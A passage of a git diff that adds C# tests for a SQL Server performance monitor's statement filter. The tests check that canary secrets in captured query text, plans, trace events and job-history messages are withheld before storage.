+        foreach (int i in new[] { 9, 11, 12, 13, 14, 15 }) types[i] = typeof(long);
+        foreach (int i in new[] { 16, 24 }) types[i] = typeof(decimal);
+        types[25] = typeof(bool);
+        foreach (int i in new[] { 27, 28, 29, 30, 31, 32 }) types[i] = typeof(double);
+        types[33] = typeof(DateTime);
+        for (var i = 0; i < types.Length; i++) table.Columns.Add("c" + i.ToString(System.Globalization.CultureInfo.InvariantCulture), types[i]);
+
+        foreach (var (session, text, plan) in new[]
+        {
+            (81, StatementScrubCanary.CanaryStatement, StatementScrubCanary.CanaryPlan()),
+            (82, StatementScrubCanary.PlainStatement, (string?)null),
+        })
+        {
+            var values = new object[types.Length];
+            for (var i = 0; i < values.Length; i++) values[i] = DBNull.Value;
+            values[0] = session;
+            values[1] = Db;
+            values[3] = text;
+            values[4] = (object?)plan ?? DBNull.Value;
+            values[5] = (object?)plan ?? DBNull.Value;
+            values[6] = "running";
+            values[26] = "0x" + session.ToString(System.Globalization.CultureInfo.InvariantCulture);
+            table.Rows.Add(values);
+        }
+
+        return table.CreateDataReader();
+    }
+
+    private static DbDataReader DeadlocksReader(bool withPlan)
+    {
+        var data = new DataSet();
+        var rows = new DataTable();
+        rows.Columns.Add("time", typeof(DateTime));
+        rows.Columns.Add("victim", typeof(string));
+        rows.Columns.Add("graph", typeof(string));
+        if (withPlan) rows.Columns.Add("plan", typeof(string));
+        rows.Columns.Add("source", typeof(string));
+        foreach (var (minute, victimText, otherText) in new[]
+        {
+            (1, StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement),
+            (2, StatementScrubCanary.PlainStatement, StatementScrubCanary.PlainStatement),
+        })
+        {
+            var values = new List<object> { Anchor.AddMinutes(minute), "p1", Graph(victimText, otherText) };
+            if (withPlan) values.Add(minute == 1 ? StatementScrubCanary.CanaryPlan() : DBNull.Value);
+            values.Add(DBNull.Value);
+            rows.Rows.Add(values.ToArray());
+        }
+
+        var gate = new DataTable();
+        gate.Columns.Add("count", typeof(long));
+        gate.Columns.Add("gated", typeof(bool));
+        gate.Rows.Add(100L, false);
+        data.Tables.Add(rows);
+        data.Tables.Add(gate);
+        return data.CreateDataReader();
+    }
+
+    private sealed class FakeTargetProvider(Func<string, DbDataReader> reader) : ITargetProvider
+    {
+        public CollectorTargetEngine Engine => CollectorTargetEngine.SqlServer;
+
+        public DbConnection CreateConnection(string connectionString) => new FakeConnection(connectionString);
+
+        public DbCommand CreateCommand(CollectorQuery query, DbConnection connection, int commandTimeoutSeconds) =>
+            new FakeCommand(((FakeConnection)connection).Database1, reader);
+
+        public CollectorTargetFault Classify(Exception exception, bool yieldsOnLockTimeout) => CollectorTargetFault.Unclassified;
+
+        public string WithDatabase(string connectionString, string databaseName) => "db=" + databaseName;
+
+        public (string ConnectionString, CollectorQuery Query) BuildDatabaseListPlan(
+            string connectionString, IReadOnlyList<string>? excludedDatabases, IReadOnlyList<string>? databaseScope) =>
+            throw new NotSupportedException();
+    }
+
+    private sealed class FakeConnection(string connectionString) : DbConnection
+    {
+        private string _cs = connectionString;
+        public string Database1 => _cs.StartsWith("db=", StringComparison.Ordinal) ? _cs[3..] : "master";
+
+        [System.Diagnostics.CodeAnalysis.AllowNull]
+        public override string ConnectionString { get => _cs; set => _cs = value ?? string.Empty; }
+        public override string Database => string.Empty;
+        public override string DataSource => string.Empty;
+        public override string ServerVersion => string.Empty;
+        public override ConnectionState State => ConnectionState.Open;
+        public override void ChangeDatabase(string databaseName) { }
+        public override void Close() { }
+        public override void Open() { }
+        public override Task OpenAsync(CancellationToken cancellationToken) => Task.CompletedTask;
+        protected override DbTransaction BeginDbTransaction(IsolationLevel isolationLevel) => throw new NotSupportedException();
+        protected override DbCommand CreateDbCommand() => throw new NotSupportedException();
+    }
+
+    private sealed class FakeCommand(string database, Func<string, DbDataReader> reader) : DbCommand
+    {
+        [System.Diagnostics.CodeAnalysis.AllowNull]
+        public override string CommandText { get; set; } = string.Empty;
+        public override int CommandTimeout { get; set; }
+        public override CommandType CommandType { get; set; }
+        public override bool DesignTimeVisible { get; set; }
+        public override UpdateRowSource UpdatedRowSource { get; set; }
+        protected override DbConnection? DbConnection { get; set; }
+        protected override DbParameterCollection DbParameterCollection => throw new NotSupportedException();
+        protected override DbTransaction? DbTransaction { get; set; }
+        public override void Cancel() { }
+        public override int ExecuteNonQuery() => throw new NotSupportedException();
+        public override object? ExecuteScalar() => throw new NotSupportedException();
+        public override void Prepare() { }
+        protected override DbParameter CreateDbParameter() => throw new NotSupportedException();
+        protected override DbDataReader ExecuteDbDataReader(CommandBehavior behavior) => reader(database);
+        protected override Task<DbDataReader> ExecuteDbDataReaderAsync(CommandBehavior behavior, CancellationToken cancellationToken) =>
+            Task.FromResult(reader(database));
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubEventsTests.cs b/Darling/Darling.Tests/StatementScrubEventsTests.cs
new file mode 100644
index 0000000000..0cdcabf1f8
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubEventsTests.cs
@@ -0,0 +1,289 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Data;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, collection census for the event and history collectors (R5): long-query completions
+/// <c>statement_text</c>, default-trace <c>text_data</c>, system_health <c>event_xml</c> and job history
+/// <c>message</c>. Each case plants the canary in the collector's INPUT (a reader over a <see cref="DataTable"/>),
+/// runs the definition's read and then its <c>WritePayload</c> into a <see cref="StatementScrubRecordingWriter"/>, and
+/// asserts on what was written: no secret needle, the marker where the statement was, and the plain statement is the
+/// SAME instance the reader returned. The cases are registered in <see cref="StatementCollectionCensusCases"/>.
+/// </summary>
+public sealed partial class StatementCollectionCensusTests
+{
+    private static readonly DateTime Stamp = new(2026, 9, 22, 12, 0, 0, DateTimeKind.Utc);
+
+    private static CollectorContext EventsContext() => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = Stamp,
+        Deltas = new EventsNoDeltas(),
+        Target = new CollectorTargetInfo(),
+    };
+
+    private sealed class EventsNoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private static DataTable EventsTable(params (string Name, Type Type)[] columns)
+    {
+        var t = new DataTable("payload");
+        foreach (var (name, type) in columns)
+        {
+            t.Columns.Add(name, type);
+        }
+
+        return t;
+    }
+
+    private static void AssertNoSecret(StatementScrubRecordingWriter writer)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles.Append("canary_ssf"))
+        {
+            Assert.False(writer.AnyStringContains(needle), "a written value still holds " + needle);
+        }
+    }
+
+    // ── long_query_completions.statement_text ──
+
+    private static DataTable LongQueryInput(string canary, string plain)
+    {
+        var t = EventsTable(
+            ("event_time", typeof(DateTime)), ("event_type", typeof(string)), ("duration", typeof(long)),
+            ("cpu_time", typeof(long)), ("physical_reads", typeof(long)), ("logical_reads", typeof(long)),
+            ("writes", typeof(long)), ("row_count", typeof(long)), ("result", typeof(string)),
+            ("statement_text", typeof(string)), ("object_name", typeof(string)), ("client_app_name", typeof(string)),
+            ("client_pid", typeof(int)), ("database_id", typeof(int)), ("database_name", typeof(string)),
+            ("event_sequence", typeof(long)), ("nt_username", typeof(string)), ("query_hash", typeof(string)),
+            ("server_principal_name", typeof(string)), ("session_id", typeof(int)));
+        foreach (var text in new[] { canary, plain })
+        {
+            t.Rows.Add(Stamp, "sql_batch_completed", 5_000_000L, 4_000_000L, 1L, 2L, 3L, 4L, "OK", text, "obj", "app",
+                100, 5, "db", 7L, "nt", "0xABCD", "login", 55);
+        }
+
+        return t;
+    }
+
+    private static async Task<StatementScrubRecordingWriter> RunLongQuery(DataTable input, CollectorContext context)
+    {
+        var def = LongQueryCompletionsCollector.Instance;
+        using var reader = input.CreateDataReader();
+        var rows = await def.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            def.WritePayload(row, writer, context);
+        }
+
+        return writer;
+    }
+
+    [Fact]
+    public async Task LongQueryCompletions_StatementText_IsWithheldAndThePlainStatementIsUntouched()
+    {
+        var input = LongQueryInput(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement);
+        var plainInstance = (string)input.Rows[1]["statement_text"];
+
+        var writer = await RunLongQuery(input, EventsContext());
+        var again = await RunLongQuery(input, EventsContext());
+
+        AssertNoSecret(writer);
+        Assert.Contains(SensitiveStatements.PlaceholderText, writer.Strings);
+        Assert.Contains(writer.Strings, s => ReferenceEquals(s, plainInstance));
+        Assert.Equal(writer.Values, again.Values);
+    }
+
+    // ── default_trace_events.text_data ──
+
+    private static DataTable DefaultTraceInput(string canary, string plain)
+    {
+        var t = EventsTable(
+            ("event_time", typeof(DateTime)), ("event_name", typeof(string)), ("event_class", typeof(int)),
+            ("spid", typeof(int)), ("database_name", typeof(string)), ("database_id", typeof(int)),
+            ("login_name", typeof(string)), ("host_name", typeof(string)), ("application_name", typeof(string)),
+            ("object_name", typeof(string)), ("filename", typeof(string)), ("integer_data", typeof(long)),
+            ("integer_data_2", typeof(long)), ("text_data", typeof(string)), ("session_login_name", typeof(string)),
+            ("error_number", typeof(int)), ("severity", typeof(int)), ("state", typeof(int)),
+            ("event_sequence", typeof(long)), ("duration_us", typeof(long)), ("end_time", typeof(DateTime)));
+        foreach (var text in new[] { canary, plain })
+        {
+            t.Rows.Add(Stamp, "Object:Created", 164, 55, "db", 5, "login", "host", "app", "obj", "f.trc", 1L, 2L,
+                text, "slogin", 0, 0, 0, 9L, 100L, Stamp);
+        }
+
+        return t;
+    }
+
+    private static async Task<StatementScrubRecordingWriter> RunDefaultTrace(DataTable input, CollectorContext context)
+    {
+        var def = DefaultTraceEventsCollector.Instance;
+        using var reader = input.CreateDataReader();
+        var rows = await def.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            def.WritePayload(row, writer, context);
+        }
+
+        return writer;
+    }
+
+    [Fact]
+    public async Task DefaultTraceEvents_TextData_IsWithheldAndThePlainStatementIsUntouched()
+    {
+        var input = DefaultTraceInput(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement);
+        var plainInstance = (string)input.Rows[1]["text_data"];
+
+        var writer = await RunDefaultTrace(input, EventsContext());
+        var again = await RunDefaultTrace(input, EventsContext());
+
+        AssertNoSecret(writer);
+        Assert.Contains(SensitiveStatements.PlaceholderText, writer.Strings);
+        Assert.Contains(writer.Strings, s => ReferenceEquals(s, plainInstance));
+        Assert.Equal(writer.Values, again.Values);
+    }
+
+    // ── system_health_events.event_xml ──
+
+    private static string WaitInfoEvent(string sqlText) =>
+        "<event name=\"wait_info\" package=\"sqlos\" timestamp=\"2026-09-22T12:00:00.000Z\">"
+        + "<data name=\"wait_type\"><value>11</value><text>LCK_M_X</text></data>"
+        + "<data name=\"duration\"><value>9000</value></data>"
+        + "<data name=\"signal_duration\"><value>3</value></data>"
+        + "<action name=\"sql_text\" package=\"sqlserver\"><value>" + System.Security.SecurityElement.Escape(sqlText) + "</value></action>"
+        + "<action name=\"session_id\" package=\"sqlserver\"><value>55</value></action>"
+        + "</event>";
+
+    private static DataTable SystemHealthInput(string canaryXml, string plainXml)
+    {
+        var t = EventsTable(("event_time", typeof(DateTime)), ("event_type", typeof(string)), ("event_xml", typeof(string)));
+        t.Rows.Add(Stamp, "wait_info", canaryXml);
+        t.Rows.Add(Stamp, "wait_info", plainXml);
+        return t;
+    }
+
+    private static async Task<(StatementScrubRecordingWriter Writer, CollectorContext Context)> RunSystemHealth(DataTable input)
+    {
+        var context = EventsContext();
+        var def = SystemHealthEventsCollector.Instance;
+        using var reader = input.CreateDataReader();
+        var rows = await def.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            def.WritePayload(row, writer, context);
+        }
+
+        return (writer, context);
+    }
+
+    [Fact]
+    public async Task SystemHealthEvents_EventXml_WithholdsTheSqlTextActionAndKeepsTheRestOfTheEvent()
+    {
+        var canaryXml = WaitInfoEvent(StatementScrubCanary.CanaryStatement);
+        var plainXml = WaitInfoEvent(StatementScrubCanary.PlainStatement);
+        var input = SystemHealthInput(canaryXml, plainXml);
+        var plainInstance = (string)input.Rows[1]["event_xml"];
+
+        var (writer, context) = await RunSystemHealth(input);
+        var (again, _) = await RunSystemHealth(input);
+
+        AssertNoSecret(writer);
+        var written = writer.Strings.Where(s => s.StartsWith("<event", StringComparison.Ordinal)).ToArray();
+        Assert.Equal(2, written.Length);
+        Assert.Contains("withheld (#4348)", written[0], StringComparison.Ordinal);
+        Assert.Same(plainInstance, written[1]);
+        Assert.Equal(writer.Values, again.Values);
+
+        /* The stage-2 parse still reads every other field of the withheld event. */
+        var raw = SystemHealthParser.ParseSignificantWait(canaryXml)!;
+        var scrubbed = SystemHealthParser.ParseSignificantWait(written[0])!;
+        Assert.Equal(raw.WaitType, scrubbed.WaitType);
+        Assert.Equal(raw.DurationMs, scrubbed.DurationMs);
+        Assert.Equal(raw.SignalDurationMs, scrubbed.SignalDurationMs);
+        Assert.Equal(raw.SessionId, scrubbed.SessionId);
+        Assert.Equal(raw.EventTime, scrubbed.EventTime);
+        Assert.Contains("withheld (#4348)", scrubbed.QueryText, StringComparison.Ordinal);
+        Assert.Equal(StatementScrubCanary.PlainStatement, SystemHealthParser.ParseSignificantWait(written[1])!.QueryText);
+
+        /* The cycle's note carries that one value was named. */
+        Assert.Contains(context.Measurements, m => m.Label == CollectorContext.StatementScrubNamedMeasurement && m.Value == 1);
+    }
+
+    // ── job_history.message ──
+
+    private static DataTable JobHistoryInput(string canary, string plain)
+    {
+        var t = EventsTable(
+            ("instance_id", typeof(long)), ("job_id", typeof(string)), ("job_name", typeof(string)),
+            ("job_enabled", typeof(bool)), ("category_name", typeof(string)), ("step_id", typeof(int)),
+            ("step_name", typeof(string)), ("run_status", typeof(int)), ("run_status_desc", typeof(string)),
+            ("run_datetime", typeof(DateTime)), ("run_duration_seconds", typeof(long)),
+            ("retries_attempted", typeof(int)), ("message", typeof(string)));
+        long id = 1;
+        foreach (var text in new[] { canary, plain })
+        {
+            t.Rows.Add(id++, "00000000-0000-0000-0000-000000000001", "job", true, "cat", 1, "step", 0, "Failed",
+                Stamp, 61L, 0, text);
+        }
+
+        return t;
+    }
+
+    private static async Task<StatementScrubRecordingWriter> RunJobHistory(DataTable input, CollectorContext context)
+    {
+        var def = JobHistoryCollector.Instance;
+        using var reader = input.CreateDataReader();
+        var rows = await def.ReadAsync(reader, context, CancellationToken.None);
+        var writer = new StatementScrubRecordingWriter();
+        foreach (var row in rows)
+        {
+            def.WritePayload(row, writer, context);
+        }
+
+        return writer;
+    }
+
+    [Fact]
+    public async Task JobHistory_Message_IsWithheldWhenItEchoesAStatement_AndAPlainMessageIsUntouched()
+    {
+        var canaryMessage = "Executed as user: sa. " + StatementScrubCanary.CanaryStatement + " [SQLSTATE 42000] (Error 156)";
+        var input = JobHistoryInput(canaryMessage, "The job succeeded.  The Job was invoked by Schedule 3.");
+        var plainInstance = (string)input.Rows[1]["message"];
+
+        var writer = await RunJobHistory(input, EventsContext());
+        var again = await RunJobHistory(input, EventsContext());
+
+        AssertNoSecret(writer);
+        Assert.Contains(SensitiveStatements.PlaceholderText, writer.Strings);
+        Assert.Contains(writer.Strings, s => ReferenceEquals(s, plainInstance));
+        Assert.Equal(writer.Values, again.Values);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubPlanCommandResultTests.cs b/Darling/Darling.Tests/StatementScrubPlanCommandResultTests.cs
new file mode 100644
index 0000000000..8abb0a6a4d
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubPlanCommandResultTests.cs
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320 (the plan viewers half of #4348), the Darling service's side. The <c>fetch_plan</c> and
+/// <c>execute_actual_plan</c> commands read a plan live from the monitored server and report it in
+/// <c>config.config_command.result_json</c>. The row stays in the store until the terminal-command purge when the
+/// viewer never reads it, so the plan is judged by the statement filter BEFORE the result is written
+/// (<c>DarlingWorker.PlanResultOutcome</c>): the stored result never holds the raw text.
+/// </summary>
+/* The round-trip rows go through config.config_command, the shared live store: the collection serializes this class
+   with the other live classes so its inserts and deletes cannot race another class's assertions. */
+[Collection("live-postgres")]
+public sealed class StatementScrubPlanCommandResultTests
+{
+    /// <summary>Distinctive sentinel, like the other command round-trip tests: a real server_id is a hash.</summary>
+    private const int SentinelServerId = -515152;
+
+    private static string PlanXmlOf(string? resultJson)
+    {
+        using var document = JsonDocument.Parse(resultJson!);
+        Assert.True(document.RootElement.GetProperty("success").GetBoolean());
+        return document.RootElement.GetProperty("planXml").GetString()!;
+    }
+
+    private static void AssertFiltered(string plan)
+    {
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, plan, StringComparison.Ordinal);
+        }
+
+        foreach (var needle in StatementScrubCanary.KeptNeedles)
+        {
+            Assert.Contains(needle, plan, StringComparison.Ordinal);
+        }
+    }
+
+    [Theory]
+    [InlineData("plan fetched")]
+    [InlineData("actual plan captured")]
+    public void PlanResultOutcome_JudgesThePlanBeforeItIsSerialized(string resultStatus)
+    {
+        var raw = StatementScrubCanary.CanaryPlan();
+
+        var outcome = DarlingWorker.PlanResultOutcome(resultStatus, raw);
+
+        Assert.True(outcome.Success);
+        Assert.Equal(resultStatus, outcome.ResultStatus);
+        AssertFiltered(PlanXmlOf(outcome.ResultJson));
+    }
+
+    [Fact]
+    public void PlanResultOutcome_ANamedPlanThatCannotBeJudged_IsStoredAsTheMarker_AndAPlainPlanIsUnchanged()
+    {
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence/></ShowPlanXML>";
+        Assert.Equal(plain, PlanXmlOf(DarlingWorker.PlanResultOutcome("plan fetched", plain).ResultJson));
+
+        /* What the filter hands back for this text is what is stored, so whatever it withholds whole is the marker. */
+        var odd = "<ShowPlanXML><unclosed";
+        Assert.Equal(SensitiveStatements.Xml(odd), PlanXmlOf(DarlingWorker.PlanResultOutcome("plan fetched", odd).ResultJson));
+    }
+
+    /// <summary>A host that answers each plan command the way the worker's handlers do after the live read: through
+    /// <c>DarlingWorker.PlanResultOutcome</c>, with the raw canary plan the monitored server would have returned.</summary>
+    private sealed class RawPlanHost : IDarlingCommandHost
+    {
+        public Task<CommandOutcome> FetchPlanAsync(int serverId, PlanFetchRequest request, CancellationToken cancellationToken)
+            => Task.FromResult(DarlingWorker.PlanResultOutcome("plan fetched", StatementScrubCanary.CanaryPlan()));
+
+        public Task<CommandOutcome> ExecuteActualPlanAsync(int serverId, ActualPlanRequest request, CancellationToken cancellationToken)
+            => Task.FromResult(DarlingWorker.PlanResultOutcome("actual plan captured", StatementScrubCanary.CanaryPlan()));
+
+        public Task<CommandOutcome> SnapshotNowAsync(int serverId, CancellationToken cancellationToken)
+            => throw new InvalidOperationException("not this command");
+
+        public Task<CommandOutcome> AnalyzeNowAsync(int serverId, CancellationToken cancellationToken)
+            => throw new InvalidOperationException("not this command");
+
+        public Task<CommandOutcome> PurgeNowAsync(int? customRetentionDays, CancellationToken cancellationToken)
+            => throw new InvalidOperationException("not this command");
+
+        public Task<CommandOutcome> TestHypotheticalIndexAsync(int serverId, HypotheticalIndexRequest request, CancellationToken cancellationToken)
+            => throw new InvalidOperationException("not this command");
+
+        public Task<CommandOutcome> FetchActiveQueriesLiveAsync(int serverId, CancellationToken cancellationToken)
+            => throw new InvalidOperationException("not this command");
+    }
+
+    [Theory]
+    [InlineData("fetch_plan", "{\"planHandle\":\"0x0600AB\",\"databaseName\":\"master\"}", "plan fetched")]
+    [InlineData("execute_actual_plan", "{\"queryHash\":\"0x0102030405060708\",\"databaseName\":\"master\"}", "actual plan captured")]
+    public async Task ThePlanCommandPath_NeverWritesTheRawPlanIntoResultJson(string commandType, string argsJson, string expectedStatus)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the plan command result_json round-trip.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await DeleteSentinelRowsAsync(connection, ct);
+
+            long commandId;
+            using (var insert = new NpgsqlCommand(
+                "INSERT INTO config.config_command (command_type, target_server_id, args_json, status) " +
+                "VALUES ($1, $2, $3::jsonb, 'pending') RETURNING command_id", connection))
+            {
+                insert.Parameters.AddWithValue(commandType);
+                insert.Parameters.AddWithValue(SentinelServerId);
+                insert.Parameters.AddWithValue(argsJson);
+                commandId = Convert.ToInt64(await insert.ExecuteScalarAsync(ct));
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var executor = new DarlingCommandExecutor(postgres, new RawPlanHost(), "test-instance", null);
+
+            var claimed = await executor.ClaimNextAsync(ct);
+            Assert.NotNull(claimed);
+            Assert.Equal(commandType, claimed!.CommandType);
+            await executor.ExecuteAndReportAsync(claimed, ct);
+
+            using var read = new NpgsqlCommand(
+                "SELECT status, result_status, result_json::text FROM config.config_command WHERE command_id = $1", connection);
+            read.Parameters.AddWithValue(commandId);
+            using var reader = await read.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct));
+            Assert.Equal("succeeded", reader.GetString(0));
+            Assert.Equal(expectedStatus, reader.GetString(1));
+
+            /* The stored result holds the filtered plan: the secret values the raw plan carried are not in the row. */
+            var stored = reader.GetString(2);
+            AssertFiltered(PlanXmlOf(stored));
+            foreach (var needle in StatementScrubCanary.SecretNeedles)
+            {
+                Assert.DoesNotContain(needle, stored, StringComparison.Ordinal);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteSentinelRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    private static async Task DeleteSentinelRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var delete = new NpgsqlCommand(
+            $"DELETE FROM config.config_command WHERE target_server_id = {SentinelServerId}", connection);
+        await delete.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubQueryStatsLiveTests.cs b/Darling/Darling.Tests/StatementScrubQueryStatsLiveTests.cs
new file mode 100644
index 0000000000..fb45d2fac7
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubQueryStatsLiveTests.cs
@@ -0,0 +1,310 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter, lane R2) against a real PostgreSQL (gated on DARLING_TEST_PG): what <c>query_stats</c>
+/// leaves in <c>query_text_dim</c> and <c>query_plan_dim</c> after the statement filter ran at collection time.
+/// Rows go through the collector's own <c>ReadAsync</c> and <c>WritePayload</c>, the real
+/// <see cref="PgCollectorRowWriter"/> and <see cref="PayloadDimensionWriter"/>, in one transaction as the host does.
+///
+/// <para>The cached digest of the deferred plan fetch is computed exactly as the host computes it (the digest of
+/// the filtered plan), so a digest-only row written from it must resolve to the filtered dim row, and a plan the
+/// filter withheld whole must resolve to the marker's dim row while the next cycle's filtered plan resolves to its
+/// own (no digest-only write is ever left without a dim row).</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementScrubQueryStatsLiveTests
+{
+    private const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the statement filter store tests.";
+
+    private static readonly DateTime Anchor = new(2031, 4, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private static Type ColumnType(int ordinal) => ordinal switch
+    {
+        3 or 4 => typeof(DateTime),
+        0 or 1 or 2 or 36 or 37 or 38 or 42 => typeof(string),
+        40 or 41 or 43 => typeof(int),
+        _ => typeof(long),
+    };
+
+    /// <summary>One inline-plan query_stats row, read through the collector (so the filter runs where it does live).</summary>
+    private static async Task<QueryStatsCollector.Row> ReadRowAsync(
+        string queryHash, string text, string plan, int serverId, string serverName)
+    {
+        var context = ContextFor(serverId, serverName, Anchor);
+        using var table = new DataTable();
+        for (var i = 0; i < 44; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), ColumnType(i));
+        }
+
+        table.Columns.Add("query_plan_xml", typeof(string));
+        table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        var values = new object[table.Columns.Count];
+        for (var i = 0; i < 44; i++)
+        {
+            values[i] = DBNull.Value;
+        }
+
+        values[1] = queryHash;
+        values[36] = "0x" + queryHash;
+        values[37] = "0x" + queryHash;
+        values[38] = text;
+        values[44] = plan;
+        values[45] = (long)plan.Length;
+        table.Rows.Add(values);
+
+        await using var reader = table.CreateDataReader();
+        var rows = await QueryStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
+        return Assert.Single(rows);
+    }
+
+    private static CollectorContext ContextFor(int serverId, string serverName, DateTime collectionTime) => new()
+    {
+        ServerId = serverId,
+        ServerName = serverName,
+        CollectionTime = collectionTime,
+        Deltas = new NoDeltas(),
+        Target = new CollectorTargetInfo(),
+        CapturePlanXml = true,
+    };
+
+    /// <summary>The digest the host caches for a plan it fetched: the digest of the filtered plan.</summary>
+    private static string CachedDigestOf(string filteredPlan) =>
+        Convert.ToHexString(PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(filteredPlan)));
+
+    private static async Task<IReadOnlyList<string>> WriteBatchAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime collectionTime,
+        IReadOnlyList<QueryStatsCollector.Row> rows, CancellationToken ct)
+    {
+        var definition = QueryStatsCollector.Instance;
+        var context = ContextFor(serverId, serverName, collectionTime);
+        var writer = new PgCollectorRowWriter();
+        var dimensions = new PayloadDimensionBatch();
+        writer.UseDimensions(PayloadDimensions.DiversionPlanFor(definition), dimensions);
+
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        using (var importer = await connection.BeginBinaryImportAsync(PgCollectorRowWriter.CopyCommandFor(definition), ct))
+        {
+            writer.Importer = importer;
+            foreach (var row in rows)
+            {
+                await importer.StartRowAsync(ct);
+                writer.Value(CollectionIdGenerator.Next());
+                writer.Value(collectionTime).Value(serverId).Value(serverName);
+                writer.BeginPayload();
+                definition.WritePayload(row, writer, context);
+                writer.EndPayload(definition.PayloadColumns.Count);
+            }
+
+            await importer.CompleteAsync(ct);
+        }
+
+        var absent = await PayloadDimensionWriter.FlushAsync(connection, transaction, dimensions, collectionTime, ct);
+        await transaction.CommitAsync(ct);
+        return absent;
+    }
+
+    private static async Task<NpgsqlConnection> OpenMigratedStoreAsync(string connectionString, CancellationToken ct)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(connectionString) { SearchPath = PgSchemaGenerator.SearchPath };
+        var connection = new NpgsqlConnection(builder.ConnectionString);
+        try
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+        }
+        catch
+        {
+            await connection.DisposeAsync();
+            throw;
+        }
+
+        return connection;
+    }
+
+    /// <summary>The text and plan a stored row resolves to through the view, the way every reader sees them.</summary>
+    private static async Task<(string? Text, string? Plan)> ResolvedAsync(
+        NpgsqlConnection connection, int serverId, string queryHash, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand(
+            "SELECT query_text, query_plan_xml, query_plan_gz FROM v_query_stats WHERE server_id = $1 AND query_hash = $2", connection);
+        read.Parameters.AddWithValue(serverId);
+        read.Parameters.AddWithValue(queryHash);
+        await using var reader = await read.ExecuteReaderAsync(ct);
